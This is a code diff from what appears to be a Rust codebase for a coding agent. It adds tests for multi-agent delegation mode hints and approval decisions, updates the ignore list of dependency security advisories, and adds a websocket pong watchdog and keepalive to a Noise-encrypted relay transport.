.disable(Feature::WindowsSandbox)
|
||||
|
||||
@@ -20,9 +20,11 @@ use core_test_support::test_codex::test_codex;
|
||||
use core_test_support::wait_for_event;
|
||||
use pretty_assertions::assert_eq;
|
||||
use serde_json::Value;
|
||||
use serde_json::json;
|
||||
|
||||
const NO_SPAWN_TEXT: &str = "Do not spawn sub-agents unless the user or applicable AGENTS.md/skill instructions explicitly ask for sub-agents, delegation, or parallel agent work.";
|
||||
const PROACTIVE_TEXT: &str = "Proactive multi-agent delegation is active.";
|
||||
const CUSTOM_MODE_HINT_TEXT: &str = "Use the configured delegation policy.";
|
||||
|
||||
fn add_ultra_reasoning(model_info: &mut ModelInfo) {
|
||||
model_info.supports_reasoning_summaries = true;
|
||||
@@ -41,6 +43,12 @@ fn configure_multi_agent_v2(config: &mut Config) {
|
||||
.expect("test config should allow feature update");
|
||||
}
|
||||
|
||||
// Configuring a custom mode hint also enables multi-agent V2 for the test.
|
||||
fn configure_custom_mode_hint(config: &mut Config) {
|
||||
configure_multi_agent_v2(config);
|
||||
config.multi_agent_v2.multi_agent_mode_hint_text = Some(CUSTOM_MODE_HINT_TEXT.to_string());
|
||||
}
|
||||
|
||||
fn configure_ultra(config: &mut Config) {
|
||||
configure_multi_agent_v2(config);
|
||||
config.model_reasoning_effort = Some(ReasoningEffort::Ultra);
|
||||
@@ -120,6 +128,105 @@ async fn ultra_reasoning_uses_max_and_proactive_mode() -> Result<()> {
|
||||
Ok(())
|
||||
}
|
||||
|
||||
#[tokio::test(flavor = "multi_thread", worker_threads = 2)]
|
||||
async fn configured_mode_hint_uses_custom_mode_across_reasoning_efforts() -> Result<()> {
|
||||
skip_if_no_network!(Ok(()));
|
||||
|
||||
let server = start_mock_server().await;
|
||||
let responses = mount_sse_sequence(
|
||||
&server,
|
||||
(1..=2)
|
||||
.map(|index| {
|
||||
sse(vec![
|
||||
ev_response_created(&format!("resp-{index}")),
|
||||
ev_completed(&format!("resp-{index}")),
|
||||
])
|
||||
})
|
||||
.collect(),
|
||||
)
|
||||
.await;
|
||||
let test = test_codex()
|
||||
.with_model_info_override("gpt-5.4", add_ultra_reasoning)
|
||||
.with_config(configure_custom_mode_hint)
|
||||
.build(&server)
|
||||
.await?;
|
||||
let rollout_path = test
|
||||
.session_configured
|
||||
.rollout_path
|
||||
.clone()
|
||||
.expect("rollout path");
|
||||
|
||||
submit_turn(&test.codex, "explicit", Some(ReasoningEffort::High)).await?;
|
||||
submit_turn(&test.codex, "proactive", Some(ReasoningEffort::Ultra)).await?;
|
||||
|
||||
let requests = responses.requests();
|
||||
let first_input = requests[0].input();
|
||||
let first_texts = developer_texts(&first_input);
|
||||
let second_input = requests[1].input();
|
||||
let second_texts = developer_texts(&second_input);
|
||||
let instruction_counts = |texts: &[&str]| {
|
||||
(
|
||||
count_containing(texts, CUSTOM_MODE_HINT_TEXT),
|
||||
count_containing(texts, NO_SPAWN_TEXT),
|
||||
count_containing(texts, PROACTIVE_TEXT),
|
||||
)
|
||||
};
|
||||
assert_eq!(instruction_counts(&first_texts), (1, 0, 0));
|
||||
assert_eq!(instruction_counts(&second_texts), (1, 0, 0));
|
||||
let rollout_values = std::fs::read_to_string(rollout_path)?
|
||||
.lines()
|
||||
.map(serde_json::from_str::<Value>)
|
||||
.collect::<serde_json::Result<Vec<_>>>()?;
|
||||
let recorded_modes = rollout_values
|
||||
.iter()
|
||||
.filter(|value| value.get("type").and_then(Value::as_str) == Some("turn_context"))
|
||||
.filter_map(|value| value.pointer("/payload/multi_agent_mode").cloned())
|
||||
.collect::<Vec<_>>();
|
||||
assert_eq!(
|
||||
recorded_modes,
|
||||
[
|
||||
json!({"custom": CUSTOM_MODE_HINT_TEXT}),
|
||||
json!({"custom": CUSTOM_MODE_HINT_TEXT}),
|
||||
]
|
||||
);
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
#[tokio::test(flavor = "multi_thread", worker_threads = 2)]
|
||||
async fn empty_configured_mode_hint_suppresses_builtin_text() -> Result<()> {
|
||||
skip_if_no_network!(Ok(()));
|
||||
|
||||
let server = start_mock_server().await;
|
||||
let response = mount_sse_once(
|
||||
&server,
|
||||
sse(vec![ev_response_created("resp-1"), ev_completed("resp-1")]),
|
||||
)
|
||||
.await;
|
||||
let test = test_codex()
|
||||
.with_config(|config| {
|
||||
configure_multi_agent_v2(config);
|
||||
config.multi_agent_v2.multi_agent_mode_hint_text = Some(String::new());
|
||||
})
|
||||
.build(&server)
|
||||
.await?;
|
||||
|
||||
submit_turn(&test.codex, "hello", Some(ReasoningEffort::High)).await?;
|
||||
|
||||
let input = response.single_request().input();
|
||||
let texts = developer_texts(&input);
|
||||
assert_eq!(
|
||||
(
|
||||
count_containing(&texts, MULTI_AGENT_MODE_OPEN_TAG),
|
||||
count_containing(&texts, NO_SPAWN_TEXT),
|
||||
count_containing(&texts, PROACTIVE_TEXT),
|
||||
),
|
||||
(1, 0, 0)
|
||||
);
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
#[tokio::test(flavor = "multi_thread", worker_threads = 2)]
|
||||
async fn leaving_ultra_after_cold_resume_emits_explicit_mode() -> Result<()> {
|
||||
skip_if_no_network!(Ok(()));
|
||||
|
||||
@@ -567,19 +567,22 @@ async fn process_sse_emits_completed_telemetry() {
|
||||
|
||||
mount_sse_once(
|
||||
&server,
|
||||
sse(vec![serde_json::json!({
|
||||
"type": "response.completed",
|
||||
"response": {
|
||||
"id": "resp1",
|
||||
"usage": {
|
||||
"input_tokens": 3,
|
||||
"input_tokens_details": { "cached_tokens": 1 },
|
||||
"output_tokens": 5,
|
||||
"output_tokens_details": { "reasoning_tokens": 2 },
|
||||
"total_tokens": 9
|
||||
sse(vec![
|
||||
ev_reasoning_item_added("reasoning-1", &[]),
|
||||
serde_json::json!({
|
||||
"type": "response.completed",
|
||||
"response": {
|
||||
"id": "resp1",
|
||||
"usage": {
|
||||
"input_tokens": 3,
|
||||
"input_tokens_details": { "cached_tokens": 1 },
|
||||
"output_tokens": 5,
|
||||
"output_tokens_details": { "reasoning_tokens": 2 },
|
||||
"total_tokens": 9
|
||||
}
|
||||
}
|
||||
}
|
||||
})]),
|
||||
}),
|
||||
]),
|
||||
)
|
||||
.await;
|
||||
|
||||
@@ -612,6 +615,9 @@ async fn process_sse_emits_completed_telemetry() {
|
||||
&& line.contains("cached_token_count=1")
|
||||
&& line.contains("reasoning_token_count=2")
|
||||
&& line.contains("tool_token_count=9")
|
||||
&& extract_log_field(line, "ttft_ms")
|
||||
.and_then(|ttft_ms| ttft_ms.parse::<i64>().ok())
|
||||
.is_some()
|
||||
})
|
||||
.map(|_| Ok(()))
|
||||
.unwrap_or(Err("missing response.completed telemetry".to_string()))
|
||||
@@ -1405,6 +1411,11 @@ async fn handle_shell_command_user_approved_for_session_records_tool_decision()
|
||||
let EventMsg::ExecApprovalRequest(approval) = approval_event else {
|
||||
panic!("expected ExecApprovalRequest event");
|
||||
};
|
||||
assert!(
|
||||
approval
|
||||
.effective_available_decisions()
|
||||
.contains(&ReviewDecision::ApprovedForSession)
|
||||
);
|
||||
|
||||
codex
|
||||
.submit(Op::ExecApproval {
|
||||
@@ -1615,6 +1626,11 @@ async fn handle_sandbox_error_user_approves_for_session_records_tool_decision()
|
||||
let EventMsg::ExecApprovalRequest(approval) = approval_event else {
|
||||
panic!("expected ExecApprovalRequest event");
|
||||
};
|
||||
assert!(
|
||||
approval
|
||||
.effective_available_decisions()
|
||||
.contains(&ReviewDecision::ApprovedForSession)
|
||||
);
|
||||
|
||||
codex
|
||||
.submit(Op::ExecApproval {
|
||||
|
||||
@@ -39,10 +39,13 @@ use serde_json::Value;
|
||||
use serde_json::json;
|
||||
use std::fs;
|
||||
use std::path::Path;
|
||||
use std::sync::Mutex;
|
||||
use std::time::Duration;
|
||||
use test_case::test_case;
|
||||
use tokio::time::Instant;
|
||||
use tokio::time::sleep;
|
||||
use tracing::Level;
|
||||
use tracing_test::internal::MockWriter;
|
||||
use wiremock::MockServer;
|
||||
|
||||
const SPAWN_CALL_ID: &str = "spawn-call-1";
|
||||
@@ -96,6 +99,13 @@ fn decoded_body(req: &wiremock::Request) -> Option<Vec<u8>> {
|
||||
}
|
||||
}
|
||||
|
||||
fn log_field<'a>(line: &'a str, name: &str) -> Option<&'a str> {
|
||||
let prefix = format!("{name}=");
|
||||
line.split_ascii_whitespace()
|
||||
.find_map(|field| field.strip_prefix(&prefix))
|
||||
.map(|value| value.trim_matches('"'))
|
||||
}
|
||||
|
||||
fn has_subagent_notification(req: &ResponsesRequest) -> bool {
|
||||
req.message_input_texts("user")
|
||||
.iter()
|
||||
@@ -1042,8 +1052,16 @@ async fn spawned_multi_agent_v2_child_inherits_parent_developer_context() -> Res
|
||||
Ok(())
|
||||
}
|
||||
|
||||
#[tokio::test(flavor = "multi_thread", worker_threads = 2)]
|
||||
#[tokio::test]
|
||||
async fn encrypted_multi_agent_v2_spawn_sends_agent_message_to_child() -> Result<()> {
|
||||
let output: &'static Mutex<Vec<u8>> = Box::leak(Box::new(Mutex::new(Vec::new())));
|
||||
let subscriber = tracing_subscriber::fmt()
|
||||
.with_ansi(false)
|
||||
.with_max_level(Level::INFO)
|
||||
.with_writer(MockWriter::new(output))
|
||||
.finish();
|
||||
let _guard = tracing::subscriber::set_default(subscriber);
|
||||
|
||||
let server = start_mock_server().await;
|
||||
let encrypted_message = "opaque-encrypted-message";
|
||||
let spawn_args = serde_json::to_string(&json!({
|
||||
@@ -1098,6 +1116,7 @@ async fn encrypted_multi_agent_v2_spawn_sends_agent_message_to_child() -> Result
|
||||
.expect("test config should allow feature update");
|
||||
});
|
||||
let test = builder.build(&server).await?;
|
||||
let root_thread_id = test.session_configured.thread_id;
|
||||
|
||||
test.submit_turn(TURN_1_PROMPT).await?;
|
||||
|
||||
@@ -1124,6 +1143,41 @@ async fn encrypted_multi_agent_v2_spawn_sends_agent_message_to_child() -> Result
|
||||
})])
|
||||
);
|
||||
|
||||
let child_thread_id = test
|
||||
.thread_manager
|
||||
.list_thread_ids()
|
||||
.await
|
||||
.into_iter()
|
||||
.find(|thread_id| *thread_id != root_thread_id)
|
||||
.expect("child thread ID");
|
||||
let logs = tokio::time::timeout(Duration::from_secs(5), async {
|
||||
loop {
|
||||
let logs = String::from_utf8(output.lock().expect("buffer lock").clone())
|
||||
.expect("logs should be UTF-8");
|
||||
if logs.contains("kind=\"spawn\"") && logs.contains("state=\"receive\"") {
|
||||
break logs;
|
||||
}
|
||||
tokio::time::sleep(Duration::from_millis(10)).await;
|
||||
}
|
||||
})
|
||||
.await
|
||||
.expect("spawn communication logs should be emitted");
|
||||
let send = logs
|
||||
.lines()
|
||||
.find(|line| line.contains("kind=\"spawn\"") && line.contains("state=\"send\""))
|
||||
.expect("spawn send event");
|
||||
assert!(send.contains(&format!("sender_thread_id={root_thread_id}")));
|
||||
assert!(send.contains(&format!("receiver_thread_id={child_thread_id}")));
|
||||
assert!(send.contains(&format!("content=\"{encrypted_message}\"")));
|
||||
|
||||
let communication_id = log_field(send, "communication_id").expect("communication ID");
|
||||
logs.lines()
|
||||
.find(|line| {
|
||||
line.contains("state=\"receive\"")
|
||||
&& log_field(line, "communication_id") == Some(communication_id)
|
||||
})
|
||||
.expect("correlated receive event");
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
|
||||
+3
-1
@@ -70,7 +70,7 @@ feature-depth = 1
|
||||
# A list of advisory IDs to ignore. Note that ignored advisories will still
|
||||
# output a note when they are encountered.
|
||||
ignore = [
|
||||
# Reviewed 2026-06-07. Keep this list in sync with .cargo/audit.toml.
|
||||
# Reviewed 2026-07-02. Keep this list in sync with .cargo/audit.toml.
|
||||
# Each exception must identify the dependency path and removal condition.
|
||||
{ id = "RUSTSEC-2024-0388", reason = "derivative is unmaintained; pulled in via starlark/starlark_syntax v0.14.2 used by execpolicy/cli/core; no fixed starlark release yet" },
|
||||
{ id = "RUSTSEC-2025-0057", reason = "fxhash is unmaintained; pulled in via starlark_map under starlark v0.14.2 used by execpolicy/cli/core and bm25 used by core; remove when upstream dependencies drop fxhash" },
|
||||
@@ -82,6 +82,8 @@ ignore = [
|
||||
{ id = "RUSTSEC-2026-0118", reason = "hickory-proto v0.25.2 is pulled in via rama-dns/rama-tcp used by codex-network-proxy; DNSSEC features are not enabled; remove when rama updates to hickory 0.26.1 or hickory-net" },
|
||||
{ id = "RUSTSEC-2026-0119", reason = "hickory-proto v0.25.2 is pulled in via rama-dns/rama-tcp used by codex-network-proxy; no fixed rama release is available yet; remove when rama updates to hickory 0.26.1 or hickory-net" },
|
||||
{ id = "RUSTSEC-2026-0173", reason = "proc-macro-error2 is unmaintained; pulled in via i18n-embed-fl/age used by codex-secrets local storage; remove when codex-secrets migrates off age or age drops i18n-embed-fl" },
|
||||
{ id = "RUSTSEC-2026-0194", reason = "quick-xml v0.39.4 remains via plist/syntect and wayland-scanner; plist does not exercise the affected APIs and wayland-scanner parses trusted build-time XML; remove when rust-plist#191 and wayland-rs#938 are released" },
|
||||
{ id = "RUSTSEC-2026-0195", reason = "quick-xml v0.39.4 remains via plist/syntect and wayland-scanner; plist does not exercise the affected APIs and wayland-scanner parses trusted build-time XML; remove when rust-plist#191 and wayland-rs#938 are released" },
|
||||
]
|
||||
# If this is true, then cargo deny will use the git executable to fetch advisory database.
|
||||
# If this is false, then it uses a built-in git library.
|
||||
|
||||
@@ -274,7 +274,9 @@ impl ExecServerClient {
|
||||
connect_async_with_config(
|
||||
request,
|
||||
Some(noise_relay_websocket_config()),
|
||||
/*disable_nagle*/ false,
|
||||
// Rendezvous sends small, latency-sensitive frames, so avoid Nagle's coalescing delay.
|
||||
/*disable_nagle*/
|
||||
true,
|
||||
),
|
||||
)
|
||||
.await
|
||||
|
||||
@@ -29,6 +29,7 @@ mod sandboxed_file_system;
|
||||
mod server;
|
||||
mod telemetry;
|
||||
mod trace_context;
|
||||
mod websocket_pong_watchdog;
|
||||
|
||||
use codex_exec_server_protocol as protocol;
|
||||
|
||||
|
||||
@@ -6,6 +6,7 @@
|
||||
//! normal `JsonRpcConnection`. Outbound JSON-RPC is framed and split into Noise
|
||||
//! records; inbound records are reordered before decryption and reassembly.
|
||||
|
||||
use futures::FutureExt;
|
||||
use futures::Sink;
|
||||
use futures::SinkExt;
|
||||
use futures::Stream;
|
||||
@@ -24,6 +25,7 @@ use crate::connection::CHANNEL_CAPACITY;
|
||||
use crate::connection::JsonRpcConnection;
|
||||
use crate::connection::JsonRpcConnectionEvent;
|
||||
use crate::connection::JsonRpcTransport;
|
||||
use crate::connection::WEBSOCKET_KEEPALIVE_INTERVAL;
|
||||
use crate::noise_channel::InitiatorHandshake;
|
||||
use crate::noise_channel::NoiseChannelIdentity;
|
||||
use crate::noise_channel::NoiseChannelPublicKey;
|
||||
@@ -39,6 +41,9 @@ use crate::relay::decode_relay_message_frame;
|
||||
use crate::relay::encode_relay_message_frame;
|
||||
use crate::relay_proto::RelayData;
|
||||
use crate::relay_proto::RelayMessageFrame;
|
||||
use crate::websocket_pong_watchdog::WEBSOCKET_PONG_TIMEOUT;
|
||||
use crate::websocket_pong_watchdog::WEBSOCKET_PONG_TIMEOUT_REASON;
|
||||
use crate::websocket_pong_watchdog::WebSocketPongWatchdog;
|
||||
|
||||
/// Values that bind one harness websocket to the intended executor registration.
|
||||
///
|
||||
@@ -58,6 +63,8 @@ pub(crate) struct NoiseHarnessConnectionArgs {
|
||||
// Preserve the availability signal while replacing attacker-controlled reason
|
||||
// text before it reaches disconnect diagnostics.
|
||||
const NOISE_RELAY_RESET_DISCONNECT_REASON: &str = "Noise relay stream reset";
|
||||
// Give a Pong already queued behind data a bounded chance to reach the reader.
|
||||
const MAX_FRAMES_DRAINED_AFTER_PONG_DEADLINE: usize = 32;
|
||||
|
||||
/// Adapt one harness rendezvous websocket into an authenticated JSON-RPC connection.
|
||||
///
|
||||
@@ -112,8 +119,7 @@ where
|
||||
&incoming_tx,
|
||||
&disconnected_tx,
|
||||
format!("failed to start Noise relay handshake: {error}"),
|
||||
)
|
||||
.await;
|
||||
);
|
||||
return;
|
||||
}
|
||||
};
|
||||
@@ -147,8 +153,7 @@ where
|
||||
&incoming_tx,
|
||||
&disconnected_tx,
|
||||
"Noise relay websocket ended during handshake".to_string(),
|
||||
)
|
||||
.await;
|
||||
);
|
||||
return;
|
||||
};
|
||||
let message = match incoming_message {
|
||||
@@ -158,8 +163,7 @@ where
|
||||
&incoming_tx,
|
||||
&disconnected_tx,
|
||||
"Noise relay websocket received close frame during handshake".to_string(),
|
||||
)
|
||||
.await;
|
||||
);
|
||||
return;
|
||||
}
|
||||
Ok(Message::Ping(_) | Message::Pong(_) | Message::Frame(_)) => continue,
|
||||
@@ -168,8 +172,7 @@ where
|
||||
&incoming_tx,
|
||||
&disconnected_tx,
|
||||
"Noise relay transport expects binary protobuf frames".to_string(),
|
||||
)
|
||||
.await;
|
||||
);
|
||||
return;
|
||||
}
|
||||
Err(error) => {
|
||||
@@ -179,8 +182,7 @@ where
|
||||
format!(
|
||||
"failed to read Noise relay websocket from {connection_label}: {error}"
|
||||
),
|
||||
)
|
||||
.await;
|
||||
);
|
||||
return;
|
||||
}
|
||||
};
|
||||
@@ -191,8 +193,7 @@ where
|
||||
&incoming_tx,
|
||||
&disconnected_tx,
|
||||
format!("failed to parse Noise relay frame: {error}"),
|
||||
)
|
||||
.await;
|
||||
);
|
||||
return;
|
||||
}
|
||||
};
|
||||
@@ -209,8 +210,7 @@ where
|
||||
&incoming_tx,
|
||||
&disconnected_tx,
|
||||
format!("invalid Noise relay handshake response: {error}"),
|
||||
)
|
||||
.await;
|
||||
);
|
||||
return;
|
||||
}
|
||||
};
|
||||
@@ -228,8 +228,7 @@ where
|
||||
&incoming_tx,
|
||||
&disconnected_tx,
|
||||
format!("Noise relay handshake failed: {error}"),
|
||||
)
|
||||
.await;
|
||||
);
|
||||
return;
|
||||
}
|
||||
}
|
||||
@@ -239,8 +238,7 @@ where
|
||||
&incoming_tx,
|
||||
&disconnected_tx,
|
||||
NOISE_RELAY_RESET_DISCONNECT_REASON.to_string(),
|
||||
)
|
||||
.await;
|
||||
);
|
||||
return;
|
||||
}
|
||||
Ok(
|
||||
@@ -253,8 +251,7 @@ where
|
||||
&incoming_tx,
|
||||
&disconnected_tx,
|
||||
"Noise relay received data before handshake completion".to_string(),
|
||||
)
|
||||
.await;
|
||||
);
|
||||
return;
|
||||
}
|
||||
}
|
||||
@@ -263,57 +260,177 @@ where
|
||||
// After the handshake, each relay sequence maps to exactly one Noise
|
||||
// transport record. Outbound records are encrypted once; inbound
|
||||
// records are reordered and deduplicated before decryption.
|
||||
let mut websocket = websocket.peekable();
|
||||
let mut next_outbound_seq = 0u32;
|
||||
let mut inbound_ciphertexts = OrderedCiphertextFrames::default();
|
||||
let mut inbound_decoder = JsonRpcMessageDecoder::default();
|
||||
let mut keepalive = tokio::time::interval_at(
|
||||
tokio::time::Instant::now() + WEBSOCKET_KEEPALIVE_INTERVAL,
|
||||
WEBSOCKET_KEEPALIVE_INTERVAL,
|
||||
);
|
||||
keepalive.set_missed_tick_behavior(tokio::time::MissedTickBehavior::Skip);
|
||||
let mut pong_watchdog = WebSocketPongWatchdog::new(WEBSOCKET_PONG_TIMEOUT);
|
||||
let pong_deadline = tokio::time::sleep(WEBSOCKET_PONG_TIMEOUT);
|
||||
tokio::pin!(pong_deadline);
|
||||
// Keep one framed message as a cursor. Sending one Noise record per loop
|
||||
// creates a scheduling point for keepalive and inbound control frames
|
||||
// without splitting the WebSocket reader and writer.
|
||||
let mut pending_outbound: Option<(Vec<u8>, usize)> = None;
|
||||
let mut force_incoming = false;
|
||||
let mut frames_drained_after_pong_deadline = 0usize;
|
||||
'relay: loop {
|
||||
// Consume a due tick before the always-ready record arm below can win
|
||||
// another select iteration and postpone the keepalive.
|
||||
if pong_watchdog.deadline().is_none()
|
||||
&& keepalive.tick().now_or_never().is_some()
|
||||
{
|
||||
if let Err(error) = send_keepalive_ping(
|
||||
&mut websocket,
|
||||
&mut pong_watchdog,
|
||||
pong_deadline.as_mut(),
|
||||
)
|
||||
.await
|
||||
{
|
||||
warn!("failed to write Noise relay keepalive ping: {error}");
|
||||
break;
|
||||
}
|
||||
frames_drained_after_pong_deadline = 0;
|
||||
continue;
|
||||
}
|
||||
|
||||
let pong_deadline_expired = pong_watchdog
|
||||
.deadline()
|
||||
.is_some_and(|deadline| tokio::time::Instant::now() >= deadline);
|
||||
// After expiry, inspect only frames already queued. Forcing the peeked
|
||||
// item through next() makes the 32-frame grace deterministic.
|
||||
if pong_deadline_expired && !force_incoming {
|
||||
if frames_drained_after_pong_deadline
|
||||
< MAX_FRAMES_DRAINED_AFTER_PONG_DEADLINE
|
||||
&& std::pin::Pin::new(&mut websocket)
|
||||
.peek()
|
||||
.now_or_never()
|
||||
.is_some()
|
||||
{
|
||||
force_incoming = true;
|
||||
} else {
|
||||
warn!(
|
||||
noise_reason = WEBSOCKET_PONG_TIMEOUT_REASON,
|
||||
"Noise harness rendezvous websocket disconnected"
|
||||
);
|
||||
send_disconnected(
|
||||
&incoming_tx,
|
||||
&disconnected_tx,
|
||||
WEBSOCKET_PONG_TIMEOUT_REASON.to_string(),
|
||||
);
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
// While a Pong is outstanding, drain already-queued inbound traffic
|
||||
// before the next fragment so a queued Pong cannot sit behind writes.
|
||||
if !force_incoming
|
||||
&& pong_watchdog.deadline().is_some()
|
||||
&& pending_outbound.is_some()
|
||||
&& std::pin::Pin::new(&mut websocket)
|
||||
.peek()
|
||||
.now_or_never()
|
||||
.is_some()
|
||||
{
|
||||
force_incoming = true;
|
||||
}
|
||||
|
||||
tokio::select! {
|
||||
maybe_message = outgoing_rx.recv() => {
|
||||
maybe_message = outgoing_rx.recv(), if pending_outbound.is_none() && !force_incoming && !pong_deadline_expired => {
|
||||
let Some(message) = maybe_message else {
|
||||
break;
|
||||
};
|
||||
let framed = match frame_jsonrpc_message(&message) {
|
||||
Ok(framed) => framed,
|
||||
pending_outbound = Some(match frame_jsonrpc_message(&message) {
|
||||
Ok(framed) => (framed, 0),
|
||||
Err(error) => {
|
||||
warn!("failed to frame JSON-RPC payload for Noise relay: {error}");
|
||||
break;
|
||||
}
|
||||
});
|
||||
}
|
||||
_ = std::future::ready(()), if pending_outbound.is_some() && !force_incoming && !pong_deadline_expired => {
|
||||
let seq = match take_next_sequence(&mut next_outbound_seq) {
|
||||
Ok(seq) => seq,
|
||||
Err(error) => {
|
||||
warn!("Noise relay sequence exhausted: {error}");
|
||||
break 'relay;
|
||||
}
|
||||
};
|
||||
for plaintext_record in framed.chunks(NOISE_RECORD_PLAINTEXT_LEN) {
|
||||
let seq = match take_next_sequence(&mut next_outbound_seq) {
|
||||
Ok(seq) => seq,
|
||||
Err(error) => {
|
||||
warn!("Noise relay sequence exhausted: {error}");
|
||||
break 'relay;
|
||||
}
|
||||
let (ciphertext, next_offset, message_complete) = {
|
||||
let Some((framed, offset)) = pending_outbound.as_ref() else {
|
||||
continue;
|
||||
};
|
||||
let ciphertext = match transport.encrypt(plaintext_record) {
|
||||
let next_offset = (*offset + NOISE_RECORD_PLAINTEXT_LEN).min(framed.len());
|
||||
let ciphertext = match transport.encrypt(&framed[*offset..next_offset]) {
|
||||
Ok(ciphertext) => ciphertext,
|
||||
Err(error) => {
|
||||
warn!("failed to encrypt JSON-RPC payload for Noise relay: {error}");
|
||||
break 'relay;
|
||||
}
|
||||
};
|
||||
let frame = RelayMessageFrame::data(stream_id.clone(), seq, ciphertext);
|
||||
if let Err(error) = websocket
|
||||
.send(Message::Binary(encode_relay_message_frame(&frame).into()))
|
||||
.await
|
||||
{
|
||||
warn!("failed to write Noise relay websocket: {error}");
|
||||
break 'relay;
|
||||
}
|
||||
(ciphertext, next_offset, next_offset == framed.len())
|
||||
};
|
||||
let frame = RelayMessageFrame::data(stream_id.clone(), seq, ciphertext);
|
||||
// A Pong can arrive after the readiness check while this write owns the
|
||||
// combined sink and stream. A single bounded record can therefore hit the
|
||||
// deadline and disconnect with that Pong queued. Treat that as write
|
||||
// backpressure; this loop yields only between records.
|
||||
if let Err(error) = send_websocket_message(
|
||||
&mut websocket,
|
||||
Message::Binary(encode_relay_message_frame(&frame).into()),
|
||||
pong_watchdog.write_deadline(tokio::time::Instant::now()),
|
||||
)
|
||||
.await
|
||||
{
|
||||
warn!("failed to write Noise relay websocket: {error}");
|
||||
break 'relay;
|
||||
}
|
||||
if message_complete {
|
||||
pending_outbound = None;
|
||||
} else if let Some((_framed, offset)) = pending_outbound.as_mut() {
|
||||
*offset = next_offset;
|
||||
}
|
||||
}
|
||||
_ = &mut pong_deadline, if pong_watchdog.deadline().is_some() && !force_incoming => {
|
||||
continue;
|
||||
}
|
||||
_ = keepalive.tick(), if pong_watchdog.deadline().is_none() => {
|
||||
if let Err(error) = send_keepalive_ping(
|
||||
&mut websocket,
|
||||
&mut pong_watchdog,
|
||||
pong_deadline.as_mut(),
|
||||
)
|
||||
.await
|
||||
{
|
||||
warn!("failed to write Noise relay keepalive ping: {error}");
|
||||
break;
|
||||
}
|
||||
frames_drained_after_pong_deadline = 0;
|
||||
}
|
||||
incoming_message = websocket.next() => {
|
||||
force_incoming = false;
|
||||
let Some(incoming_message) = incoming_message else {
|
||||
break;
|
||||
};
|
||||
// Count each completed read after expiry. If only the deadline arm
|
||||
// advanced this counter, reads won by a simultaneously ready incoming
|
||||
// arm would not count toward the 32-frame cap.
|
||||
if pong_watchdog
|
||||
.deadline()
|
||||
.is_some_and(|deadline| tokio::time::Instant::now() >= deadline)
|
||||
{
|
||||
frames_drained_after_pong_deadline += 1;
|
||||
}
|
||||
match incoming_message {
|
||||
Ok(Message::Binary(payload)) => {
|
||||
let frame = match decode_relay_message_frame(payload.as_ref()) {
|
||||
Ok(frame) => frame,
|
||||
Err(error) => {
|
||||
send_malformed(&incoming_tx, error.to_string()).await;
|
||||
send_malformed(&incoming_tx, error.to_string());
|
||||
break;
|
||||
}
|
||||
};
|
||||
@@ -325,7 +442,7 @@ where
|
||||
let data = match frame.into_data() {
|
||||
Ok(data) => data,
|
||||
Err(error) => {
|
||||
send_malformed(&incoming_tx, error.to_string()).await;
|
||||
send_malformed(&incoming_tx, error.to_string());
|
||||
break;
|
||||
}
|
||||
};
|
||||
@@ -334,22 +451,26 @@ where
|
||||
&mut transport,
|
||||
&mut inbound_decoder,
|
||||
data,
|
||||
pong_watchdog.write_deadline(tokio::time::Instant::now()),
|
||||
&incoming_tx,
|
||||
)
|
||||
.await
|
||||
{
|
||||
send_malformed(&incoming_tx, error.to_string()).await;
|
||||
if matches!(error, ExecServerError::Closed) {
|
||||
break;
|
||||
}
|
||||
send_malformed(&incoming_tx, error.to_string());
|
||||
break;
|
||||
}
|
||||
}
|
||||
Ok(RelayFrameBodyKind::Reset) => {
|
||||
let _ = incoming_tx
|
||||
.send(JsonRpcConnectionEvent::Disconnected {
|
||||
let _ = incoming_tx.try_send(
|
||||
JsonRpcConnectionEvent::Disconnected {
|
||||
reason: Some(
|
||||
NOISE_RELAY_RESET_DISCONNECT_REASON.to_string(),
|
||||
),
|
||||
})
|
||||
.await;
|
||||
},
|
||||
);
|
||||
break;
|
||||
}
|
||||
Ok(
|
||||
@@ -361,20 +482,22 @@ where
|
||||
send_malformed(
|
||||
&incoming_tx,
|
||||
"Noise relay received invalid post-handshake frame".to_string(),
|
||||
)
|
||||
.await;
|
||||
);
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
Ok(Message::Close(_)) => break,
|
||||
Ok(Message::Ping(_) | Message::Pong(_) | Message::Frame(_)) => {}
|
||||
Ok(Message::Pong(_)) => {
|
||||
pong_watchdog.received_pong();
|
||||
frames_drained_after_pong_deadline = 0;
|
||||
}
|
||||
Ok(Message::Ping(_) | Message::Frame(_)) => {}
|
||||
Ok(Message::Text(_)) => {
|
||||
send_malformed(
|
||||
&incoming_tx,
|
||||
"Noise relay transport expects binary protobuf frames".to_string(),
|
||||
)
|
||||
.await;
|
||||
);
|
||||
break;
|
||||
}
|
||||
Err(error) => {
|
||||
@@ -398,6 +521,46 @@ where
|
||||
}
|
||||
}
|
||||
|
||||
async fn send_websocket_message<T, E>(
|
||||
websocket: &mut T,
|
||||
message: Message,
|
||||
deadline: tokio::time::Instant,
|
||||
) -> Result<(), String>
|
||||
where
|
||||
T: Sink<Message, Error = E> + Unpin,
|
||||
E: std::fmt::Display,
|
||||
{
|
||||
match tokio::time::timeout_at(deadline, websocket.send(message)).await {
|
||||
Ok(Ok(())) => Ok(()),
|
||||
Ok(Err(error)) => Err(error.to_string()),
|
||||
Err(_) => Err("websocket write timed out".to_string()),
|
||||
}
|
||||
}
|
||||
|
||||
async fn send_keepalive_ping<T, E>(
|
||||
websocket: &mut T,
|
||||
pong_watchdog: &mut WebSocketPongWatchdog,
|
||||
pong_deadline: std::pin::Pin<&mut tokio::time::Sleep>,
|
||||
) -> Result<(), String>
|
||||
where
|
||||
T: Sink<Message, Error = E> + Unpin,
|
||||
E: std::fmt::Display,
|
||||
{
|
||||
send_websocket_message(
|
||||
websocket,
|
||||
Message::Ping(Vec::new().into()),
|
||||
pong_watchdog.write_deadline(tokio::time::Instant::now()),
|
||||
)
|
||||
.await?;
|
||||
// Start the response clock after the Ping flushes; waiting for sink capacity
|
||||
// is governed by the write deadline above.
|
||||
pong_watchdog.ping_sent(tokio::time::Instant::now());
|
||||
if let Some(deadline) = pong_watchdog.deadline() {
|
||||
pong_deadline.reset(deadline);
|
||||
}
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Order and decrypt one relay frame, then emit any complete JSON-RPC messages.
|
||||
